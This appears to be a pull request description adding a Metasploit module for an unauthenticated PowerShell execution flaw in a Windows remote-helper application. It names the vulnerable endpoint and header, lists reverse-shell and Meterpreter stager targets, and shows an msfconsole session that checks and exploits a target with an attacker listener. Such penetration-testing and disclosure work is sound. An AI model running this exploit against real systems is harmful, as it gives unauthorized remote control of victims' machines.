Add Remote Sunrise Helper for Windows 2026.14 unauthenticated RCE

[blue0x1]

Summary

This adds a new exploit module for an unauthenticated remote code execution vulnerability
in Remote Sunrise Helper for Windows 2026.14.

The application exposes an HTTP API on a dynamically assigned HTTPS port. When authentication
is disabled (requires.auth: false), the /api/executeScript endpoint executes arbitrary
PowerShell passed via the X-Script request header with no credentials required.

Vulnerability Details

• Software: Remote Sunrise Helper for Windows 2026.14
• Disclosure Date: 2026-04-20
• Original Author: Chokri Hammedi
• Reference: https://packetstorm.news/files/id/219192/

Module Details

• Checks /api/getVersion to confirm auth is disabled before exploiting
• Target 0: PowerShell Direct reverse shell (cmd/windows/powershell_reverse_tcp)
• Target 1: Windows x64 Meterpreter via PowerShell in-memory stager
• Target 2: Windows x86 Meterpreter via PowerShell in-memory stager

Verification

Tested on Windows 10 (10.0.19043) and Windows 11.

msf6 > use exploit/windows/misc/remote_sunrise_helper_rce                                                                                                                                   
msf6 exploit(...) > set RHOSTS <target>                   
msf6 exploit(...) > set RPORT <port>                                                                                                                                                        
msf6 exploit(...) > set LHOST <attacker>                                                                                                                                                    
msf6 exploit(...) > check                                                                                                                                                                   
[+] The target is vulnerable. Authentication disabled - version 2026.14                                                                                                                     
msf6 exploit(...) > run